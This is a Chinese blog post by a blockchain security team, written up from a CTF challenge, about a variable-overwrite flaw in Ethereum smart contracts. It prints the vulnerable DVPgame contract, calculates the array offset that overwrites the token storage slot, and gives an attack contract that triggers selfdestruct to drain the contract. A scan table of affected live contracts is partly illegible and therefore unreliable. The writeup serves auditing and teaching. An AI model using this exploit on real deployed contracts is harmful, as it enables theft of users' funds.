以太坊合约审计 CheckList 之变量覆盖问题

原创

知道创宇KCSC 于 2019-09-10 13:35:00 发布 994 收藏

文章标签： 网络安全 以太坊 漏洞

本文链接：https://blog.csdn.net/qq_43380549/article/details/100689386

作者：LoRexxar'@知道创宇404区块链安全研究团队

时间：2018年11月16日

如果你想第一时间了解漏洞资讯，可以关注我们的知道创宇Paper：https://paper.seebug.org/745/

系列文章：

- 《以太坊智能合约审计 CheckList》
- 《以太坊合约审计 CheckList 之“以太坊智能合约规范问题”影响分析报告》
- 《以太坊合约审计 CheckList 之“以太坊智能合约设计缺陷问题”影响分析报告》
- 《以太坊合约审计 CheckList 之“以太坊智能合约编码安全问题”影响分析报告》
- 《以太坊合约审计 CheckList 之“以太坊智能合约编码设计问题”影响分析报告》
- 《以太坊合约审计 CheckList 之“以太坊智能合约编码隐患”影响分析报告》

2018年11月6日，DVP上线了一场“地球OL真实盗币游戏”，其中第二题是一道智能合约题目，题目中涉及到的了一个很有趣的问题，这里拿出来详细说说看。

https://etherscan.io/address/0x5170a14aa36245a8a9698f23444045bdc4522e0a#code

Writeup

```
pragma solidity ^0.4.21;
library SafeMath {
 function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
        return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
    }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a / b;
    return c;
  }

 function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
```

```
    assert(c >= a);
    return c;
  }
}
contract ERC20Basic {
  function totalSupply() public view returns (uint256);
  function balanceOf(address who) public view returns (uint256);
  function transfer(address to, uint256 value) public returns (bool);
  event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
  function allowance(address owner, address spender) public view returns (uint256);

  function transferFrom(address from, address to, uint256 value) public returns (bool);

  function approve(address spender, uint256 value) public returns (bool);
  event Approval(
    address indexed owner,
    address indexed spender,
    uint256 value
  );
}

library SafeERC20 {
  function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
    require(token.transfer(to, value));
  }

  function safeTransferFrom(
    ERC20 token,
    address from,
    address to,
    uint256 value
  )
    internal
  {
    require(token.transferFrom(from, to, value));
  }

  function safeApprove(ERC20 token, address spender, uint256 value) internal {
    require(token.approve(spender, value));
  }
}

contract DVPgame {
    ERC20 public token;
    uint256[] map;
    using SafeERC20 for ERC20;
    using SafeMath for uint256;

    constructor(address addr) payable{
        token = ERC20(addr);
    }

    function (){
        if(map.length>=uint256(msg.sender)){
            require(map[uint256(msg.sender)]!=1);
        }
```

```
        if(token.balanceOf(this)==0){
            //airdrop is over
            selfdestruct(msg.sender);
        }else{
            token.safeTransfer(msg.sender,100);

            if (map.length <= uint256(msg.sender)) {
                map.length = uint256(msg.sender) + 1;
            }
            map[uint256(msg.sender)] = 1;

        }
    }

    //Guess the value(param:x) of the keccak256 value modulo 10000 of the future block (param:blockNum)
    function guess(uint256 x,uint256 blockNum) public payable {
        require(msg.value == 0.001 ether || token.allowance(msg.sender,address(this))>=1*(10**18));
        require(blockNum>block.number);
        if(token.allowance(msg.sender,address(this))>0){
            token.safeTransferFrom(msg.sender,address(this),1*(10**18));
        }
        if (map.length <= uint256(msg.sender)+x) {
            map.length = uint256(msg.sender)+x + 1;
        }

        map[uint256(msg.sender)+x] = blockNum;
    }

    //Run a lottery
    function lottery(uint256 x) public {
        require(map[uint256(msg.sender)+x]!=0);
        require(block.number > map[uint256(msg.sender)+x]);
        require(block.blockhash(map[uint256(msg.sender)+x])!=0);

        uint256 answer = uint256(keccak256(block.blockhash(map[uint256(msg.sender)+x])))%10000;

        if (x == answer) {
            token.safeTransfer(msg.sender,token.balanceOf(address(this)));
            selfdestruct(msg.sender);
        }
    }
}
```

看着代码那么长，但其实核心代码就后面这点。

fallback函数

```
function (){
    if(map.length>=uint256(msg.sender)){
        require(map[uint256(msg.sender)]!=1);
    }

    if(token.balanceOf(this)==0){
        //airdrop is over
        selfdestruct(msg.sender); //如果token花完了，就会自动销毁自己发送余额
    }else{
        token.safeTransfer(msg.sender,100); // 否则就给你转100token

        if (map.length <= uint256(msg.sender)) {
            map.length = uint256(msg.sender) + 1;  // 通过做map变量偏移操作来使空投只发1次
        }
        map[uint256(msg.sender)] = 1;
    }
}
```

简单来说就是每个地址只发一次空投，然后如果余额空投完了就会销毁自己转账。

guess函数

```
//Guess the value(param:x) of the keccak256 value modulo 10000 of the future block (param:blockNum)
function guess(uint256 x,uint256 blockNum) public payable {
    require(msg.value == 0.001 ether || token.allowance(msg.sender,address(this))>=1*(10**18)); // guess要花费0.
001 ether
    require(blockNum>block.number); // blockNum要大于当前block.number
    if(token.allowance(msg.sender,address(this))>0){
        token.safeTransferFrom(msg.sender,address(this),1*(10**18));  //转账
    }
    if (map.length <= uint256(msg.sender)+x) {
        map.length = uint256(msg.sender)+x + 1;
    }

    map[uint256(msg.sender)+x] = blockNum;  // 可以想向任意地址写入blockNum
}
```

lottery函数

```
function lottery(uint256 x) public {
    require(map[uint256(msg.sender)+x]!=0); // 目标地址必须有值
    require(block.number > map[uint256(msg.sender)+x]); // 这点是和前面guess函数对应，必须在之后开奖
    require(block.blockhash(map[uint256(msg.sender)+x])!=0); // 不能使中间的参数为当前块为0

    uint256 answer = uint256(keccak256(block.blockhash(map[uint256(msg.sender)+x])))%10000;
    // 计算hash的后4位

    if (x == answer) { // 如果相等，则转账并销毁
        token.safeTransfer(msg.sender,token.balanceOf(address(this)));
        selfdestruct(msg.sender);
    }
}
```

其实回到题目本身来看，我们的目的是要拿走合约里的所有eth，在合约里，唯一仅有的转账办法就是`selfdestruct`，所以我们的目的就是想办法触发这个函数。

销毁函数只在fallback和lottery函数中存在，其实阅读一下不难发现，lottery不可能有任何操作，没办法溢出，没办法修改，除非运气逆天，否则不可能从lottery函数触发这个函数。

所以目光回到fallback函数，要满足转账，我们需要想办法让`balanceOf`返回0，如果我们想要通过薅羊毛的方式去解决的话简单测试就会明白这不可能，因为一次只能转100，余额如果我没记错的话，应该超过万亿以上。

很显然，想通过空投要薅羊毛来获得flag基本不太可能，所以我们的目标就是，如何影响到`balanceOf`的返回。

而balanceOf这个函数是来自于token变量的

```
constructor(address addr) payable{
    token = ERC20(addr);
}
```

而token变量是一个全局变量，在开始被定义

```
pragma solidity ^0.4.21;
contract DVPgame {
    ERC20 public token;
    uint256[] map;
    using SafeERC20 for ERC20;
    using SafeMath for uint256;
    ...
```

在 EVM 中存储有三种方式，分别是 memory、storage 以及 stack。

memory : 内存，生命周期仅为整个方法执行期间，函数调用后回收，因为仅保存临时变量，故GAS开销很小 storage : 永久储存在区块链中，由于会永久保存合约状态变量，故GAS开销也最大 stack : 存放部分局部值类型变量，几乎免费使用的内存，但有数量限制

而全局变量就是存在storage中的，合约中的全局变量有以下几个

```
ERC20 public token;
uint256[] map;
using SafeERC20 for ERC20;
using SafeMath for uint256;
```

而token就是第一个全局变量，则**storage[0]就存了token变量**。

然后回到我们前面的需求，我们怎么才有可能覆盖storage的第一块数据呢，让我们再回到代码。guess中有这么一段代码。

```
map[uint256(msg.sender)+x] = blockNum;
```

在EVM中数组和其他类型不同，因为数组时动态大小的，所以数组类型的数据计算方式为

```
address(map_data) = sha(array_slot)+offset
```

其中array_slot就是map变量数据的位置，也就是1，offset就是数组中的偏移，比如map[2]，offset就是2.

这样一来，map[2]的地址就是`sha(1)+2`，假设map[2]=2333，则`storage[sha(1)+2]=2333`。

这样一来就出现问题了，由于offset我们可控，我们就可以向storage的任意地址写值。

再加上storage不是无限大的，它最多只有`2**256`那么大，sha(1)是固定的`0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6`。

也就是说我们设置x为2**256-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6，storage就会溢出，并覆盖token变量。

所以思路就比较清楚了，构造攻击合约，然后定义balanceOf返回0，调用fallback函数，然后返回即可。

利用合约大致如下

```
pragma solidity ^0.4.21;

contract dvp_attack {
    address public targetaddr;

    constructor(address addr) payable{
        targetaddr = addr;
    }

    function balanceOf(address addr) public returns(uint i){
        i = 0;
    }

    function attack(uint256 x,uint256 blockNum){
        // modity owner
        targetaddr.call(bytes4(keccak256("guess(uint256,uint256)",x,blockNum)));
        // fallback
        targetaddr.call(bytes4(keccak256("a")));
    }
}
```

在题目之后

在题目之后，我们不难发现，整个漏洞的成因与未初始化storage指针非常像，要明白这个漏洞，首先我们需要明白在EVM中对变长变量的定义和储存方式。

array

```
uint256[] map;
```

map就是一个uint类型的数组，在storage中，map变量的储存地址计算公式如下

```
address(map_data) = sha3(slot)+offset
```

刚才说到array_slot就是数组变量在全局变量中声明的位置，比如map是第二个全局变量

```
map[2] = 22333
==>
address(map_data) = sha3(1)+2
==>
storage[sha3(1)+2] = 22333
```

mapping

```
mapping (address => uint) balances;
```

balances是一个键为address类型，值为uint型的mapping字典，在storage中，balances变量的储存地址计算公式如下

```
address(balances_data) = sha3(key, slot)
```

其中key就是mapping类型中的键名，slot就是balances变量在全局变量中声明的位置，比如balances是第一个全局变量：

```
balances[0xaaa] = 22333 //0xaaa为address
==>
address(balances_data) = sha3(0xaaa,0)
==>
storage[sha3(0xaaa,0)] = 22333
```

mapping + struct

```
struct Person {
        address[] addr;
        uint funds;
    }

mapping (address => Person) people;
```

people是一个键为address类型，值为struct的mapping，在storage中，people变量的储存地址计算公式如下

```
address(people_data) = sha3(key,slot)+offset
```

其中key就是mapping类型中的键名，slot就是people变量在全局变量中声明的位置，offset就是变量在结构体内的位置，比如people是第一个全局变量：

```
people[0xaaa].addr[1] = 0xbbb
==>
address(people_data) = sha3(sha3(0xaaa,0)+0)+1
==>
storage[sha3(sha3(0xaaa,0)+0)+1] = 0xbbb
```

对于上面的三种典型结构来说，虽然可以保证sha3的结果不会重复，但很难保证sha3(a)+b不和sha3©重复，所以，虽然几率很小，但仍然可能因为hash碰撞导致变量被覆盖。

再回到攻击者角度，一旦变长数组的key可以被控制，就有可能人为的控制覆盖变量，产生进一步利用。

详细的原理可以参照以太坊智能合约 OPCODE 逆向之理论基础篇

漏洞影响范围

经过研究，我们把这类问题统一归结是变量覆盖问题，当array变量出现，且参数可控时，就有可能导致恶意利用了。

“昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台。目前Haotian平台智能合约审计功能已经集成了该规则。

截至2018年11月15日，我们使用HaoTian对全网公开的智能合约进行扫描，其中共有277个合约存在潜在的该问题，其中交易量最高的10个合约情况如下：

name	address	balance	transactions	status
P[illegible]ok[illegible]	0xb970[illegible]e95dbe1a905b280	0	378989	running
K[illegible]ur	0x[illegible]5e4fcd286919	3.3056E+17	60430	running
Pr[illegible]5e4d	[illegible]	0	33764	running
C[illegible]Tok[illegible]	[illegible]	0	27106	running
E[illegible]nTr[illegible]de	[illegible]	0	26669	running
[illegible]Co[illegible]	[illegible]	0	21732	running
[illegible]	[illegible]	0	16679	running
Leg[illegible]	[illegible]	1.5428E+18	16416	running
Ma[illegible]	[illegible]	0x0	13432	running
Ad[illegible]	[illegible]	4.53786E+17	11896	running
Eth[illegible]de	[illegible]	3.2886E+18	8330	running

总结

这是一起涉及到底层设计结构的变量覆盖问题，各位智能合约的开发者们可以关于代码中可能存在的这样的问题，避免不必要的损失。

上述变量覆盖问题已经更新到以太坊合约审计checkList

REF

- https://paper.seebug.org/739/
- https://mp.weixin.qq.com/s/2nuWmDZeNT-Nmgn4OfQALg
- 以太坊合约审计checkList